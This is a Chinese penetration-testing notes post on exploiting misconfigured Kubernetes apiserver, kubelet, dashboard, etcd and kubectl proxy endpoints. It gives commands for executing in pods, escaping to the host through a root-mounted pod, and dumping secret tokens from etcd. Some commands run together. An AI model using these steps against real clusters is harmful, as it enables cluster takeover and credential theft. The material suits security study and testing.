K8S常見組件配置不當利用記錄
滲透測試中的k8s各個組件未鑒權情況下如何利用都是需要去熟知的,這篇附上常見組件未授權或配置不當情況下如何攻擊利用。
組件之間的關系

對組建的介紹文章很多了,這里不介紹組件的基礎,只記錄如何利用。
Apiserver
apiserver有兩個端口一個認證(Insecure-port ,8080端口,低版本才對外開放,1.20版本后默認不開)、一個不認證(secure-port,6443端口)。
能利用的情況是開放端口并且配置錯誤,這里的配置錯誤是將system:anonymous用戶綁定到了cluster-admin用戶組,那么匿名用戶可以支配集群:
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

這種配置下可以拿到所有token后與api server交互,支配集群:

利用
使用kubectl和apiserver交互,或者就單純curl來發包,效果都是一樣的。
容器內下載kubectl:
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
執行pod內命令:
kubectl -s 192.168.1.22:8080 get node #查看nodekubectl -s 192.168.1.22:8080 get pods #查看podkubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash #對pod的容器shell
替換成curl的話也是一樣的,把kubectl的包轉成curl即可:

https://192.168.1.22:6443/api/v1/namespaces/default/pods/attackerhttps://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker/exec?command=ls&container=ubuntu&container=ubuntu&stderr=true&stdout=true
這時候已經可以執行各種容器的shell和拿到service-account的token之類的了,如果要控apiserver,最簡單的就是創建pod的容器掛載宿主機的根目錄后續寫私鑰計劃任務之類的,例子:

轉成curl也是一樣的:
curl -k $APISERVER/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
你可以提前把需要創建的pod轉成json,再來用curl發包:

kubelet
kublet是管理本機Pod的的工具,而kubectl是用于管理集群的。
每一個 Node 節點都有一個 kubelet 服務,kubelet 監聽了 10250,10248,10255 等端口。
- 10250會鑒權,默認是安全的。
- 10255不鑒權,但是是只讀端口無法執行命令,可讀env、進程信息等。
kubelet對應的API端口默認在10250,運行在集群中每臺Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml
配置錯誤的條件是:
- kubelet api能否被匿名訪問
- kubelet api訪問是否需要經過Api server進行授權
默認kubelet配置文件如下:

如果將配置文件中,authentication-anonymous-enabled改為true并且authorization-mode為AlwaysAllow

那么就可以實現kubelet未授權訪問。
利用
在pod中執行命令
訪問10250發現未授權情況:

通過和api交互,執行pod中的容器命令:
curl -XPOST -k https://node_ip:10250/run/// -d "cmd=command"

而通過/pod API 中可以獲取到每個 POD 的配置,通過篩選host*、securityContext、volumes等特殊字段內容也可以快速得出哪些是特權容器,方便逃逸。
dashboard
利用條件是管理修改配置,讓dashboard可以跳過登錄并且配置了高權限Service Account(cluster-admin),
兩個條件達成才可以利用。
安裝dashborad:
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yamlkubectl proxy #默認端口 8001
錯誤配置1跳過登錄:
加了--enable-skip-login參數即可跳過登錄:

錯誤配置2高權限Service Account:
clusterrolebinding對象把sa綁定cluster-admin角色:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: admin-userroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects:- kind: ServiceAccount name: admin-user namespace: kubernetes-dashboard
兩個滿足以后,進入dashboard就可以隨便部署pod,然后掛載宿主機根目錄 ,和前面創建惡意pod一樣的流程了:

etcd
etcd 被廣泛用于存儲分布式系統或機器集群數據,其默認監聽了 2379 等端口。
利用條件是錯誤配置了未授權,etcd的配置文件是
/etc/kubernetes/manifests/etcd.yaml,如果配置中默認去掉了證書校驗選項并且能夠訪問到2379就會有未授權接管的情況:

利用
etcd有v2和v3兩個版本,k8s用的是v3版本,所以需要在訪問etcd的時候需要用命令ETCDCTL_API=3來指定etcd版本。
利用etcd未授權,需要使用一個工具叫做etcdctl,它是用來管理etcd數據庫的,我們可以在github上下載它
https://github.com/etcd-io/etcd/releases/
在啟動etcd時,如果沒有指定 --client-cert-auth 參數打開證書校驗,并且沒有通過iptables / 防火墻等實施訪問控制,etcd的接口和數據就會直接暴露給外部黑客"
默認不帶證書是無法認證的:

export ETCDCTL_API=3export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crtexport ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crtexport ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
把證書相關文件加入環境變量后才能訪問:

如果是未授權情況,可以不帶證書的校驗去訪問,獲取token:
/etcdctl --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole/etcdctl --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp
拿到token以后就和前面一樣了:
kubectl --insecure-skip-tls-verify=true --server="https://ip:8443" --token="eyJhbG......" get secrets --all-namespaces

自然也可以命令執行:

kubectl proxy
k8s如果在pod上開端口并且使用ClusterIP Service 綁定創建一個service后,需要開放nodeport或者cni這種插件來開放,但是如果為了方便使用kubectl proxy 把localhost地址代理到kubernetes apiserver:
kubectl proxy --address=xxx.xxx.xxx.xxx --port=8080 &
本質上也是kubectl proxy為訪問kubernetes apiserver的REST api充當反向代理角色,這樣的話通過kubectl proxy轉發apiserver,但是這樣默認是不鑒權,所以也能導致被接管。
